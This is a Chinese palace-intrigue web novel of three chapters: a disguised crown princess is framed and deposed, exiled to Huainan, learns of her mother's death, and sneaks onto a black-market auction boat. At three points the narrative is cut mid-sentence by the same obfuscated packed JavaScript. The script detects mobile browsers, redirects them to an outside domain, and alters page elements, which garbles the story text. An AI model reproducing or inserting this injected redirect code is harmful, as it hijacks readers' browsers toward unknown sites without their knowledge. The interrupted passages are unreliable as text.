《宿敌向我俯首称臣后》 1. 君心冷 含元殿上,帝王升座,百官执笏而立。 惟一人跪伏在地。 殿阶冰冷,灯烛肃穆,龙涎香缓缓升腾。 千问雪静静跪在丹陛前,听着大理寺卿当堂宣读她的罪状。 结党营私,私募部曲,犯上作乱…… 一盆盆脏水迎头泼下,罪名罗织成网,桩桩件件,都是死罪中的死罪。 在她头顶是高踞于九层丹陛之上的龙椅,兴化帝千岚靠坐其上,他的半张脸隐在十二旒白玉珠串的阴影里,似一尊没有温度的神祇。 跪得久了,脊背酸痛,双腿像是失去了知觉,但她仍一动不动。 千问雪面不改色地听着那些精心编织、环环相扣的“罪证”,脑中闪过千头万绪。 她知道皇帝此局意在废她储位,好改立二皇子为太子。 当太子这些年,她在朝中名望颇高,行事又挑不出错处。 所以,为了折她羽翼,断她后路,废她青云途,她的这位“父皇”大费周章地做足了戏,当着百官面,以莫须有罪行构陷于她,还要来一场明知故问的对质。 字字诛心的罪名落下,千问雪只觉得荒唐又可笑。 或许早在六年前,当她认贼作父一般地听信了兴化帝的鬼话,甘愿成为其用来稳定朝局的一枚棋子时,如今的结局便已注定了。 六年前,兴化帝的长子千君齐离奇死亡,适逢敦王作乱,外夷侵扰,朝局动荡,唯有尽快立储方能平息。 可兴化帝膝下子嗣凋零,无奈之下,他封锁了千君齐死讯,密召楚王世子千问雪入宫,顶替了千君齐。 兴化帝不知千问雪是女儿身,世人也不知“千君齐”是千问雪。 这一招偷天换日,六年来不曾有过差池。 如今逢场作戏演到头,绕不开兔死狗烹、过河拆桥的结局。 她一生清正,换来满身污名。 千问雪回神的片刻功夫,大理寺卿终于念完了最后一条罪状。他合上奏疏,后退一步,躬身肃立。 百官屏息敛声,殿内落针可闻。 无数道目光,或探究,或怜悯,或幸灾乐祸,皆无声地聚焦在丹陛之下那个跪得笔直的身影上。 皇帝晦暗不清的目光沉沉地落在她头顶,带着不动声色的威压。 “太子。” “大理寺与刑部所奏,桩桩件件,你可有话说?” 话里携着几分的怒意。 自古和结党营私扯上关系的皇子,事成便是改天换地,事败却是从无善终。 千问雪明白此刻任何辩解都是徒劳的挣扎,只会适得其反。 故而在帝王与臣工注视下,她只是轻轻摇了摇头,平静答道: “儿臣,无言可辩。” 她的声音不高,却清晰而决绝,回荡在大殿内。 话音落下,空气凝滞。 “哦?” 皇帝的声音陡然沉了下去,带着一丝疑惑。 “无话可辩?” 他身体微微前倾,阴影笼罩下来,压得人喘不过气。 “那便是认了这些罪责?” “忤逆君父,滔天大罪,儿臣不敢认,也不知从何辩白。” “雷霆雨露皆是君恩,儿臣只盼父皇圣裁。” 她不认罪,也不辩罪。 千问雪知道自己活罪难逃,但眼下从皇帝的态度来看,死罪或许尚留一丝转圜的余地。 生死未定,她还能放手一搏。 所以,不认不辩,是她在赌皇帝到底有几分杀心,赌自己能否在这场死局里,撕开一条生路。 皇帝隐藏在珠旒后的眉头似乎几不可察地蹙了一下,旋即又舒展开。他看向千问雪身后列队而立的众臣,忽然发问: “太子所为,众卿以为该如何定罪?” 千问雪眸中划过一丝光亮,她赌对了,皇帝杀心未决,生死之间确有余地。 若皇帝杀意已决,自然会即刻下旨,免得夜长梦多。 眼下皇帝将问题反抛给群臣,多半是因为忌惮太子的贤名威望,顾忌朝野清议。 千问雪仍垂着头,撑着地面的手掌心沁出一层薄汗。 她还在等一个机会。 如她所愿,片刻沉默之后,一个苍老却洪亮的声音猛地响起。 “陛下!” 众人循声望去,只见文官队列首位,须发皆白的谢相颤巍巍地出列,扑通一声跪倒在地。 “陛下!储君废立,关乎国本!太子殿下素来恭谨勤勉,此案疑点重重,老臣恳请陛下三思,当行三司会审,彻查此案,以正视听!以安天下之心啊!” 谢雍这一跪一呼,如同点燃了引信。 “臣附议!” 礼部尚书邓协明紧随其后出列,撩袍跪下。 “太子监国多年,未有失德,骤然获此重罪,朝野震动,若不彻查,难以服众啊,陛下!” “臣附议!请陛下三思!” “臣附议!当行三司会审,以正视听!” “臣等附议!” 大殿之内,请命之声此起彼伏。 越来越多的大臣出列,排在谢雍身后,呼啦啦跪倒了一片。 既知帝王心冰冷,又见忠良血滚烫。 千问雪忽然感到眼底有些湿润。 在东宫的这些年,她端方清正,为国为民,收获贤名无数。如今到了危难之际,亦有人为她振臂一呼。 皇帝表情复杂,隐在珠旒后的目光缓缓扫过下方跪倒一片的臣子。 他精心布下的局,眼看就要被众臣“三司会审”的呼求生生拖入泥潭。 皇帝冰冷的沉默,太子决绝的无言,众臣执著的坚持,形成了令人窒息的拉锯。 千问雪抓住这君臣对峙的当口,在脑中迅速思索眼下的微妙局势,以及下一步的对策。 三司会审一旦推行,真相大白之时,皇帝费心费力构陷废储的算盘便会落空。 进一步想,如今众臣的力挺显得她这个将废的太子得道多助,皇帝对她的忌惮只会更甚。若此番废储走明棋不成,下一次难保不是暗取她性命的阴招。 三司会审,于双方而言,都不是长久之计。 想活命,必先消减皇帝的怀疑忌惮; 想东山再起,必先觅得韬光养晦的机会。 眼下最好的办法就是彻底从京师的皇权漩涡中抽身而出,跑得越远越好。 离开京师又能去哪? 千问雪凝睇着眼前的殿砖,一瞬间千百个念头划过脑海。 她想起百年前,也曾有一人,跪过这一片殿砖,并且,活着走出了皇城。 虽然时移世易,但功高盖主是真,功成身退也是真。 想到这里,千问雪面上终于露出一丝几不可察的笑意。 就在此时,一个清朗而冷静的声音,再次从丹陛之下响起。 “陛下。” 千问雪抬起了头,目光径直投向丹陛之上那片模糊的帝王身影。 她的神情依旧平静,双眸乌黑似墨,映着殿内摇曳的烛火,亮得惊人。 “儿臣自知有负圣恩,罪责难逃。不敢奢求三司冗审,徒耗国帑,更不敢令陛下与诸公为难。” “故,儿臣斗胆,请效百年前江南诏旧例!” 江南诏? “江南诏”三字一出,堂上几位老臣骤然变了脸色。 皇帝前倾的身体几不可察地绷紧了一瞬。他眯起眼,目光沉沉地锚住方才跪在阶下语出惊人的千问雪,似是在重新审视这个被自己视作弃棋的“儿子”。 “昔年太祖开国,江左四氏从龙功高,为避君臣嫌隙,联名跪请外放江南,永镇一方!太祖感其忠义,顺水推舟,遂下‘江南诏’:非令不过江,非诏不进京。” “儿臣自知德行有亏,难孚众望,深负父皇期许!今斗胆效法先祖,自请出京,远赴淮南就藩!此生愿为父皇守此藩篱,非诏,绝不踏足京畿半步!恳请父皇恩准!” 说罢,她重重顿首,额头撞击殿砖,发出沉闷响声。再抬头,额上已是一片刺目的红痕。 千问雪感觉到一股温热的液体从自己额角涌出,沿着颌骨的轮廓缓缓流下,带着湿润的痛感,滴落在她的颈窝。 这不是苦肉计,而是在皇帝眼皮底下,将自己这个执棋搏命者,包装成软弱无害的求怜者。 想来,皇帝应当分得清,一个跪在地上磕破了头“苟且求生”的太子,和盘踞江南百年野心勃勃的江左世家相比,哪个威胁更大。 皇帝的眼里闪烁着捉摸不定的光芒,他不得不承认,千问雪所求的恰是个两全其美的法子。 既能堵住众臣高喊“三司会审”的嘴,以达易储目的,又能将这碍眼的“贤明”太子推到江左世家的刀刃下自生自灭。 而他,自可安坐明堂,观鹬蚌相争,收渔翁之利。 “准。” 皇帝的声音终于响起,听不出喜怒。 “百年前,左天枢等四位卿家,为社稷安定,自请外镇,其心可悯,其功可彰。” 他微微一顿,目光又落在千问雪头顶。 “千君齐,你既有此心,效法先贤,甘愿为朕分忧,经略南地,朕……亦非铁石心肠。” “然你罪责在身,不可不罚。即日起,废去‘千君齐’之太子名位,贬为锐王,食邑三千户,就藩淮南五州。” “非诏,永世不得返京!” 尘埃落定。 千问雪轻轻松了一口气。 死局盘活,是她赢了。 千问雪再次深深叩首,领旨谢恩。 她突然感到有些快意,这场君臣父子的大戏,终于狼心狗肺地结束了。 踏出殿门,汉白玉广场上炽烈的阳光毫无遮拦地倾泻下来,照在千问雪额角触目惊心的伤口上。 天光昭昭,煦风习习。 暗室逢灯,如获新生。 从前她笃信君臣之义,帝王之心。 如今在鬼门关前走上一遭才发觉,一颗烂透了的帝王心,只装得下权欲,装不下公理道义,也装不下苍生万民。 这样的帝王心,就该踩烂了,再换一颗新的才是。 想到这里,千问雪突然笑了,笑容里带着凌厉的锋芒,脸上血迹未干,像从幽暗地狱里爬出来的鬼魅,见了天光, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197591|181181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不觉得害怕,反倒有种酣畅淋漓的战意。 她微微仰起头,眯着眼看向天空。 百年前,那位功高震主的江陵左氏先祖左天枢,在同样跪过这含元殿之后,请到了那道“江南诏”。 此后,“江南诏”便成为大厦皇权对江左世家无可奈何的明证。 千问雪不禁在想,当左天枢如愿带着江南诏走出这扇殿门,面对同样刺目的阳光时,他心中所思所想,究竟是就此偏安江南,远离漩涡,还是韬光养晦,留待后人破局? 若换作是她,定会毫不犹豫地选择后者。 风掠过空旷的广场,卷起几片早凋的落叶,打着旋儿。 千问雪回到东宫。 属于太子的印信、服饰,早已被内侍监的人麻利地收走。偌大的宫殿此刻显得格外空旷和冷清。 千问雪带走的东西少得可怜。 几件半新的常服,几本翻得起了毛边的书,多是舆地志、兵策论、律法疏议之类。唯一显得“不务正业”的,是一卷手抄的《漱玉词》,是挚友张竹所赠。一个不大的包裹,很快就收拾停当。 一个面生的年轻内侍垂手侍立在殿门角落,低眉顺眼,姿态恭谨到了极点。 “锐王殿下,陛下口谕,请殿下即刻启程,由奴婢一路随侍殿下。奴婢叫作陈和敬,听凭殿下吩咐。” “车驾已在西华门外候着了,殿下请吧。” 他飞快地抬眼觑了一下千问雪的脸色,又迅速垂下眸。 千问雪没有看他,目光落在窗棂外一株叶子落尽的海棠树上,枝干嶙峋。 即刻启程,又安插眼线。看来千岚还是对自己不放心。 她拎起包袱,只淡淡应了一声: “本王知道了。” 走出东宫正殿大门时,她脚步顿了一顿。目光扫过庭院里熟悉的假山石径,最终落在殿门那厚重的朱漆和金色的铜钉上。 这里曾是她扮演“千君齐”的舞台,在这里的每分每秒,皆是如履薄冰的伪装。 如今卸下这层枷锁,她的心头竟有一丝荒谬的轻松掠过。 走出东宫,千问雪没有回头。 车轮碾过青石板御道,驶出西华门,驶过繁华喧闹的朱雀大街,向着南城门而去。 街道旁的店铺陆续点起了灯火,昏黄的光晕透过窗棂洒在青石板路上。 行人的喧嚣、小贩的叫卖、马车的轱辘声……这些市井的烟火气扑面而来,带着一种令人动容的鲜活。 车内的光线随着帘子的晃动明明灭灭。千问雪靠着车壁,闭目养神。 她像一个游离于世界之外的幽灵,沉默地穿过这片繁华。 不知过了多久,千问雪睁开眼,掀开车帘,见外面已是夜幕深沉。 她仔细地分辨四周,突然想起这条路段她从前走过,前面有条岔路,可以通至南阳。 正巧,马车将要驶过一家驿站。 “停车。” “本王舟车劳顿,不胜疲惫,要在此驿站歇上一歇。” 坐在车内的千问雪忽然开口,声音不大,却带着不容质疑的口吻。 马车在官道旁缓缓停住。 一旁随侍的陈和敬愣了一下,脸上露出为难: “殿下,陛下旨意是直接前往淮南就藩,中途停留,恐有不妥?万一陛下怪罪下来……” 千问雪的目光淡淡扫过他: “本王只是稍作歇息,如此小事,难道不成公公还要回京面圣汇报一番?” 见千问雪语气强硬,陈和敬只得识趣地点头称是,紧跟着进入了驿站。 到了驿站,千问雪使了些计策,瞒着陈和敬这个眼线,孤身打马离开。 她要回一趟南阳楚王府。 越靠近南阳城,道路两旁的景致便越是熟悉。 千问雪的心跳不受控制地加快了几分。 六年了。 自她被一纸密诏召入宫中,顶替了死去的千君齐,从此宫墙深深,千问雪再未踏足过这片生养她的土地。 她一直,很想念母妃。 千问雪在楚王府门前下了马,从门外看,王府一切如旧,同她离开时一样。 怀着近乡情怯的心跳,她叩响了府门。 良久之后,大门开了。 一个穿着布衣的女婢从门里走出,看见千问雪,瞬间惊讶地说不出话。 千问雪认得眼前这个女婢,她是楚王妃的贴身婢女,蓉娘。 毕竟是偷跑回来的,怕惊动了街坊四邻,千问雪立时对蓉娘做出噤声的手势,拉着她进了府门。 千问雪并未注意到,在她转身关门的一瞬间,王府斜对侧巷角处闪过一道熟悉又陌生的人影。 关上门,千问雪迫不及待地问道: “我母妃在何处?” 听到这句话,蓉娘脸色僵住,用一种不可名状的复杂神情看向千问雪。 “王妃她……年前的时候,就已……过世了……。” 说着,蓉娘再也止不住泪水,豆大的泪珠“啪嗒啪嗒”砸入地面。 “你……你说什么?” 千问雪倏忽感觉心头一窒。 2. 黄泉恨 “蓉娘,你告诉我这是怎么回事,怎么会……母亲她到底是如何过世的?为什么我现在才知道……” 一瞬间万般情绪漫上千问雪心头,震惊,怀疑,不可思议,以及难以自抑的悲痛。 千问雪面色苍白,颤抖的指尖深深掐入掌心,仿佛感受不到疼,或者说此时□□的疼痛已无足轻重了。 暮色沉沉,风卷枯叶。 蓉娘单薄的身躯不住的颤抖着,说出每一个字都带着颤音: “自从世子您进了宫,陛下……陛下就下了密令,为避免替身之事泄露,禁止王妃与世子有任何往来,就连书信都不行……” 千问雪瞬间蹙起了眉。 “怎么会?我明明每三个月都与母妃互相通信,六年来从未中断,信里母妃也总说一切如常。” 难道这些年她收到母妃信都是伪造的,她寄往王府的信也从未送到母妃手中? 千问雪越想越感到毛骨悚然。 蓉娘猛地啜泣了几下,平复完呼吸,继续说下去。 “去岁冬深,王妃便已病骨支离,日日念着殿下……王妃她……强撑着病体写了封信,遣了最忠心的老仆顾伯,偷偷连夜进京……欲见您一面,说有……有极要紧之物要亲手交付给您……” “顾伯一去……便如石沉大海般……没了消息。” 蓉娘带着哭腔的声音破碎不堪。 “后来……后来王府里又派出了不少人到京城辗转打探,听宫里人说……说太子受皇命在南郊亲自督办百神蜡祀,分身乏术,实在得不了一点空……” 千问雪袖中紧握着拳,指节因用力而泛出青白。 督办百神蜡祭,原来在这等着她呢…… 这么多年蜡祭典仪都是由太常寺一手操办,去岁恰逢太常寺卿丁忧缺位,皇帝命她督办,想到这祭典确实重要,她倒也没有生疑。 所谓巧合,背后竟全是阴谋。 她从未想过母妃的死,背后是如此可怕的真相。 “王妃她……是除夕日走的……” “临终前,王妃唤来贴身的丫鬟婆子,一遍遍地嘱咐我们,千万不要将她的死讯传到您那边……她还说,王府一切要照常打理,她不希望……您有朝一日回家的时候,看到的是冷清清的府邸……” 蓉娘边哽咽着,边胡乱抹了几把眼泪。 楚王妃至死都记得女儿最喜热闹,而她自己却在最该热闹的除夕夜里,孤零零地离开了。 千问雪只觉得心如刀绞。 望着床边窗棂上褪色的茜纱,她能仿佛回到那个寒冷的年关,仿佛看到缠绵于病榻上的娘亲,是如何在无望的等待里,一日日熬干了最后的气息…… 最终孤独地死在了帝王精心编织的谎言囚笼中。 想到这里,千问雪无助地攥紧了胸前的衣领,一呼一吸里都盈满了悔恨与愠怒。 她日日思而不见的至亲,被一次次的谎言骗得好苦。 她年年求而不得的羁绊,被人踩在地上蹂躏地粉碎。 “还有,王妃她……” 蓉娘泣不成声,她颤抖着从怀中捧出一个紫檀木匣。 “王妃是攥着这个走的……她说……匣中之物,关乎着天大的秘密……请殿下一定一定要等到羽翼丰满、不再受任何掣肘之时,方可开启此匣……” 匣子沉重结实,匣口密封严实,挂着一把锃亮的铜锁。 千问雪垂眸,小心翼翼地接过这个匣子。 羽翼丰满,不受掣肘。 这是母亲对她最后的希冀。 她一定一定照做。 暮色勾勒着她清俊却寥落的轮廓。 她伸出手,指尖轻轻地摩挲那冰冷的匣身,仿佛是在贪恋母亲温暖的手掌。 手指间渴望抓住的是至亲的温存。 胸腔里滚滚翻涌的却是蚀骨恨意。 她恨不能立刻将千岚碎尸万段。 千问雪努力抑制住悲愤,咬牙颤抖地问道。 “母妃她……葬在何处?” 楚王妃的坟茔,孤零零地立在王府后山一片萧索的松林中。 明月夜,短松冈。 无处话凄凉。 坟头新土早已被荒草覆盖,墓碑冰冷。 长夜寂冷,孤影对孤坟。 千问雪这时才发觉,人悲痛到极处的时候,甚至连流眼泪的力气都没有。 跪在母亲坟前,她只听得到山风穿过松枝的轻响,如同无穷无尽的悲鸣。 她拿起紫檀木匣,紧贴在心口的位置,似一块沉重的寒冰,也像一枚滚烫的烙铁。 滔天恨意在铺天盖地的黑暗中无声燃烧。 千问雪轻轻阖上眼,任由冰寒刺骨的风穿透身体。 冰凉的体感渐渐将她拉回理智的一边。 千问雪这才意识到自己的身体正冷得不住打颤,她扶着树干艰难地站起来,拍拍身上的尘土,跺了跺酸痛发麻的双腿。 愤恨的热潮渐渐冷却为克制的战意,她的五感好像被无限放大,与天地草木共振。 头脑清醒了不少。现在,她知道自己需要的是绝对的清醒与步步为营的筹谋。 千问雪踉跄地走出后山松林,发觉蓉娘一直在林子外等着她。 看着蓉娘单薄的身影,千问雪鼻子一酸,大步大步地朝她跑去,然后紧紧抱住了她。 两人都没有说话,只是静静依偎在一起,在彼此的怀抱中紧紧抓住天地间片刻的温暖。 靠在千问雪怀中,蓉娘的肩头因抽泣而不住地颤抖。 蓉娘的母亲是王妃的陪嫁丫鬟,她与千问雪年龄相仿,自小便一起在王府中长大,王妃也把她看作半个自家人。 虽然不舍,但千问雪知道自己该离开了。 两人松开怀抱后,她握紧蓉娘的手,轻声嘱咐道: “蓉娘,我如今身不由己,不能王府久留,此番我回府之事,切不能告诉任何人。” “还请你帮忙告知王府里仆役,他们可自行决定去留,留下的我都会尽力照拂。” 蓉娘抹了一把眼泪,看着她点点头。 “我要走了,待我在淮南站稳脚跟,一定想办法把你接到身边。” 最后,蓉娘目送千问雪匆匆上了马。 两人挥手作别之后,千问雪策马疾驰,很快消失在沉沉夜色中。 距驿站院门百步远时,马上的千问雪看到门口站着一个人。 那人个头不高,一身青绿袍衫,戴着标志性的黑幞头。 是陈和敬。 真是棘手。 先前刚到驿馆时,她故意在马车上动了手脚,又叫陈和敬去盯着驿站的伙计修车,她才能找个机会脱身。 可是她离开驿站已接近一个时辰了,难免会让陈和敬发现一些端倪。 但不知他此刻已发现了多少端倪,有没有向宫里通报。 要是让皇帝知道她回了王府并且得知王妃死讯,只怕不会再留给她半点喘息的机会。 想到这里,千问雪握缰绳的手紧绷得发白。 她甚至想到了杀人灭口。 一转念又立刻否定了这个想法。 深呼一口气,她停在陈和敬面前,从容地下了马。 她以为陈和敬会像先前那样,搬出皇帝的名头,问她为何离开许久,再说些督促上路的话。 但是他没有。 千问雪的余光只见对方一脸恭顺地低头行了个礼。 他还挺沉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197592|181181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住气? 虽然心里有些紧张,但千问雪仍保持着淡然自若的神情,目光淡淡扫过陈和敬低垂的头,故意冷冷道: “陈内侍有功夫站在这,看来本王的马车是已经修好了。那便收拾收拾,准备启程吧。” 令她意外的是,陈和敬并未言语,只是恭敬地点点头,帮她把马牵回院子,然后回驿站打点行状。 看来她先前低估了这位宦官。 看他现在这个样子,要么就是傻到什么端倪都没发现,要么就是知道的太多,藏的也够深。 千问雪当然倾向于后者。 马车抵达淮南瑾州时,天正下着淅沥冷雨,云蒸雾绕,水汽迷蒙。 所谓的锐王府邸,尚是州府呈上来的几卷空泛图纸。 从头开始兴建锐王府,少说要花三个多月时间。 千问雪就近找了家客栈落脚。 当地州府官员闻讯,啪嗒啪塔打着如意算盘,揣着五颜六色的心思,纷至沓来。 一天下来,客栈的门槛快要被络绎不绝访客踏破。 试探的,谄媚的,世故的,笑里藏刀的,各式各样的面孔从千问雪眼前一一闪过。 为了躲个清静,她谢绝了州府殷勤安排的馆驿,只带着寥寥侍从,悄无声息地住进了城南一家不起眼的客栈。 客栈不大,陈设简单,但千问雪对它所在的位置极为看中。 瑾州在元江北岸,从这里的码头乘船顺流而下,不到一百里,从南面上岸便是江陵城,江陵左氏根基所在。 而这客栈临江,就在码头旁边。 千问雪精心挑了间视野最好的客房,面南推开窗,大半个码头可一览无余。 千问雪甫一落脚,就把兴修王府的事亲自揽了下来。从选址、设计,到采买、装潢,大到风水营造,小到盆景选用,她几乎是样样亲力亲为。 一半是做给皇帝的眼线陈和敬看,一半是不想让自己未来的府邸被有心之人钻了空子。 从上次驿站的事之后,千问雪一直在默默观察这位年轻的宦官,试图抓出对方的破绽,却一直一无所获。 直到有一天,千问雪早早从客栈出门,临走前特地嘱咐陈和敬,叫他去西街的裁缝铺把她前日订做的袍衫取回来。 在第二个街角转身的刹那,她的余光捕捉到陈和敬的身影,在她身后不远处。 千问雪立时发觉不对,去西街根本不走这条路! 她立刻闪身,借着铺子招牌的遮挡,神不知鬼不觉地折返绕后,不动声色地跟在了陈和敬身后。 陈和敬今日没戴幞头,穿着一身深灰色圆领袍衫,由于他皮肤极白皙,在人群中很好辨认出来。 他似乎没有察觉到千问雪的尾随。 千问雪揣着十二分的谨慎和三分好奇,不近不远地跟了他一路。 直到对方的身影七拐八拐地没入了一条偏僻的巷子。 这巷子怪得很。 巷路极长而极窄,左右也没有与其他路纵横相连,走起来很不方便。 两侧的民居看着住了不少人,现下正是赶早集的时间,可自从她跟踪陈和敬进了巷子,就没见到过一个行人。 千问雪的心神又紧绷了几分。 终于,陈和敬在一户屋门前停下了脚步。 见状,千问雪急忙蹲下隐蔽,顺利躲过了对方环视四周的警惕目光。 待她起身,巷子里已没了那道灰色的身影。 人不见了。 千问雪倒还淡定着。她轻手轻脚地走向陈和敬方才停留过的那户人家的门。 那是一扇半旧的木门,她附耳上去,隐约听到人语声。 “久违,敬公子,这些天扮演太监的感觉如何?” 3. 泊夜墟 这陈和敬竟是个冒牌货! 千问雪第一反应是震惊,转念一想,突然发觉一切疑点都说得通了。 在驿站停留前,陈和敬虽言行恭顺,但狐假虎威的气势不弱。可自从千问雪从南阳赶回驿站之后,陈和敬的态度便只剩下恭顺,全然没了之前的派头。 所以换人这一招,应该是在她离开驿站时完成的。 这时,屋里又传来一个声音。 “祁先生,你就别打趣我了,我又不是去当真太监……” “不过有一说一,在锐王眼皮子底下演太监,是真不容易,天天提心吊胆的。要不是看在三哥的份上,我早跑路了。” 门的另一边,千问雪紧紧贴着门偷听,生怕漏掉一点细节。 看来,方才说话那人,就是假扮陈和敬的“敬公子”,同他对话的人便是“祁先生”。 两人言语间轻松诙谐,全然没有暗中接头的严肃感,倒像是在谈论什么赏心乐事。 门内的对话仍在进行。 “眼下锐王正盯着元江码头,五日后三哥在泊夜墟的生意……当真要如期进行么?不先避避风头?” 这句来自“敬公子”。 “怕什么。五日后的大生意,若是锐王入局,只会更精彩。” 此句来自“祁先生”。 五日后,三哥,泊夜墟的生意,邀锐王入局? 听到这里,千问雪蹙起眉,贴着门的掌心沁出薄汗,心神又紧绷了几分。 搅动风雨的事,用最轻松的语气说出来。 除了盘踞江南百年的四大世家,她想不出还有谁具备如此大的能耐。 而话中那位尚未出面的“三哥”,该不会是…… 正当她暗自猜测时,毫无征兆地,屋内的交谈声戛然而止。 紧接着,一串脚步声从门内由远及近地响起。 千问雪心道不好,身体本能先于思考做出反应,她足尖在湿滑青石板路上猛地一点,整个人无声向后疾掠,快出残影。 巷道长而窄,又无分岔,十分不利于她撤离。 千问雪只能继续加快飞奔迈步的速度,足尖触底时刻意控制力道,以免足音过大。 就连身体破风的轻啸声都听之惊心,闻之动魄。 几乎就在千问雪的身影消失于巷口的下一瞬,那扇木门被猛地拉开。 屋内的昏黄灯光泼洒而出,“陈和敬”从门里半探出身,他警觉的目光精准落向千问雪方才藏身的位置,又迅疾地扫过整条幽暗小巷。 巷子空荡,只余秋风卷着枯叶掠过地面,发出细碎沙沙声。 “陈和敬”眉头紧锁,视线反复扫过那片空无的角落后,又看向巷子深处化不开的黑暗。 他眯了眯眼,眼底划过一丝阴鸷,将门轻轻关上。 门板合拢的细微声响,在寂静暗巷中格外清晰。 *** 五日后。 元江之上,浓雾如席,沉沉地压着水面。 千问雪自元江北岸的码头乘上商船,一路顺流南下。 夜风簌簌,扑她在脸上,冰冷而清醒。 为避免身份暴露,千问雪已事先乔装易容,假扮成一名普通的北地行商。 她身穿半旧靛蓝直裰,外罩灰鼠皮坎肩,腰束革带,脚蹬厚底牛皮快靴。 在她脸上敷着一层特制药膏,掩去白皙的肤色。眼角和唇角精心勾勒出饱尽风霜的皱纹。 为保伪装万无一失,她将北地商人的言行细节也模仿到了极致,脊背微佝,步伐沉重,说话粗声大气,口音是浓重的北方腔调。 就这样,千问雪混在乘船的行商队伍里,毫无破绽。 这艘商船将在江陵城南最大的渡口“枫岚渡”靠岸,在那里转乘特定的接驳舟,即可到达泊夜墟。 泊夜墟,传闻是江南最大的黑市拍卖场。 五日前千问雪在暗巷中听到的谈话,关于泊夜墟的信息有限。 经过几日走访查证,她大致锁定了泊夜墟的位置,即江陵城东南,元江支流上的一艘巨大楼船。 千问雪当然猜得到泊夜墟这潭水深且浊,孤身打探是下下策,险而又险。 她也怀疑过那日巷屋中的对话或许是请君入瓮的陷阱。 但她如今孤身就藩淮南,身后本就空无一人,没有软肋,没有筹码,除了命,没什么能输掉的。 江左世家虽然权势滔天,翻云覆雨,但万不会做出公然杀害藩王的事,以给朝廷留下讨伐的由头。 所以她的性命,世家暂且动不了。 如今她势单力薄,与世家博弈的每一局,皆孤注一掷,是背水一战,是蜉蝣撼树的起始,亦是改天换地的第一步。 所以,她没什么好犹豫的,更无须害怕。 泊夜墟纵是龙潭虎穴,亦是能撕开世家铁幕的唯一罅隙,那便由她闯进去瞧瞧。 千问雪在枫岚渡上了岸。 这里喧嚷热闹,马嘶人语,船只往来如梭,混杂货物搬运的声响和天南海北的口音。 江陵城二分明月的繁华,由此可见一斑。 凭借伪造的黑市入门令,她顺利登上了泊夜墟外围甲板。 这楼船庞大,其外围的甲板更是宽敞无比,卖力搬货的苦力挥汗如雨,锦衣华服的商人络绎不绝。 正当千问雪四顾观察之时,侧后方码头方向,突然传来几声惊惶的呼喝。 “哎哟!要撞上了!快躲开!” 一个扛着沉重木箱的码头力夫踩中地上水滩,脚下一滑,正踉跄着朝旁边高高堆叠的货箱撞去,货箱旁边垒着几个油桶,一旦倾倒后果不堪设想。 混乱在即。 电光火石之间,千问雪不假思索地做出反应。 原本佝偻的身形瞬间挺直,步伐快如残影,侧身闪入力夫与货堆之间。 她的左手如闪电般探出,稳稳托住力夫即将脱手的沉重木箱底部,一瞬间的冲击力让她的小臂吃痛不堪。 同时她横展出右臂,手肘精准抵住力夫向后倒的肩膀,将他稳稳拦在原地。 沉重的木箱稳稳靠落在千问雪单臂之上,纹丝不动。 那差点摔倒的力夫被千问雪的手肘一挡,好容易恢复了平衡,惊魂未定地站在原地大口呼气。 旁边堆叠的货箱与油桶,成功幸免于难。 整个过程快如电光石火。周围人反应过来,不禁倒抽冷气,随即爆发出零星赞叹与掌声。 “这位大哥,真是好身手!难得啊!” 周围的赞叹声传入耳畔,千问雪立刻发觉自己下意识展现的身手与此刻的伪装身份格格不入。 她立刻垂下眼帘,恢复原先行商的姿态,一边放下木箱,一边操着浓重北地口音,连连摆手: “不敢当不敢当,俺这把老骨头,纯粹是赶巧了……嘿哟喂,还好没出什么大事。” 此时,泊夜墟楼船顶层,一扇雕花菱格木窗被推开。 祁珩靠在窗边,修长手指捻起一颗紫葡萄,目光漫不经心地扫过甲板上聚众的人群。 透过窗子,他居高临下地目睹了方才千问雪闪身救场全过程。 祁珩捻着葡萄的手指顿在半空。 他微微直身,狭长的凤眼眯起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197593|181181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狡黠光亮在眸底一闪,目光正锁定着楼下那个重新佝偻起腰背的“老行商”,神情晦暗不清。 “小凌子,你瞧瞧楼下。” 祁珩说着,转头看向左元辰。他的声音惯有一种懒洋洋的戏谑,此时却多了一丝凝肃。 左元辰正斜倚在织锦软榻上,一身月白云纹锦袍衬得他姿容如画,眉眼天然含情,唇角微挑,噙着若有若无的笑意。 然而那笑意未达眼底,眸子深处是不带丝毫温度的沉静,如古井寒潭。 对于“小凌子”这样调侃的称呼,左元辰已经习以为常。他起身走至窗前,向楼下望去。 祁珩将葡萄丢回银盘,默契地给左元辰让了让位置,好叫他看得清楚些。 